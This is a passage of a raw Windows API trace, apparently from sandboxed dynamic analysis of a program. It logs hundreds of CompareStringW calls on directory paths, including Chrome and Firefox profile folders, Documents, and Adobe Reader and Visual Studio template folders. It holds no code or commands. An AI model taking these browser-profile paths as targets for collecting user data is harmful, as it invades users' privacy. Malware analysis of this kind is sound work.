(Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount2=46) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\", cchCount1=122, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount2=64) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount2=64) returned 1 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount2=64) returned 3 [0033.906] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount2=64) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount2=64) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount2=64) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", cchCount2=64) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", cchCount2=64) returned 1 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", cchCount2=64) returned 3 [0033.907] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", cchCount2=64) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", cchCount2=64) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", cchCount2=64) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", cchCount2=64) returned 1 [0033.908] CompareStringW (Locale=0x400, 